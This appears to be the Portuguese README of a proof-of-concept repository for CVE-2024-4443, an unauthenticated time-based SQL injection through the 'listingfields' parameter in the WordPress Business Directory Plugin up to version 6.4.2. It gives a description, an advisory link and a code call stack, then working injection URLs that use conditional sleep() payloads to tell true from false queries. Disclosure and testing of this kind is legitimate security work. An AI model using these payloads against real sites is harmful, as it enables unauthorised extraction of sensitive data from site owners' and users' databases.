CVE-2024-4443-Poc

CVE-2024-4443 Business Directory Plugin – Easy Listing Directories para WordPress <= 6.4.2 - Injeção SQL não autenticada via parâmetro listingfields

Descrição

O plugin Business Directory Plugin – Easy Listing Directories para WordPress é vulnerável a Injeção SQL baseada em tempo através do parâmetro 'listingfields' em todas as versões até, e incluindo, a 6.4.2, devido à escape insuficiente do parâmetro fornecido pelo usuário e à falta de preparação adequada na consulta SQL existente. Isso possibilita que atacantes não autenticados acrescentem consultas SQL adicionais em consultas já existentes, que podem ser usadas para extrair informações sensíveis do banco de dados.

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/business-directory-plugin/business-directory-plugin-easy-listing-directories-for-wordpress-642-unauthenticated-sql-injection-via-listingfields-parameter

Pilha de chamadas

WPBDP__Listing_Search->execute (\business-directory-plugin\includes\helpers\class-listing-search.php:88)
WPBDP__Listing_Search->_traverse_tree (\business-directory-plugin\includes\helpers\class-listing-search.php:185)
WPBDP__Listing_Search->__construct (\business-directory-plugin\includes\helpers\class-listing-search.php:35)
WPBDP__Listing_Search::parse_request (\business-directory-plugin\includes\helpers\class-listing-search.php:214)
WPBDP__Listing_Search::from_request (\business-directory-plugin\includes\helpers\class-listing-search.php:210)
WPBDP__Views__Search->dispatch (\business-directory-plugin\includes\controllers\pages\class-search.php:54)

Prova de Conceito

URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[{{Injection payload}}][1]=

URL normal: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[1]=

URL com payload falso: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=0,5,0))+))--+-][1]=

URL com payload verdadeiro: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=1,5,0))+))--+-][1]=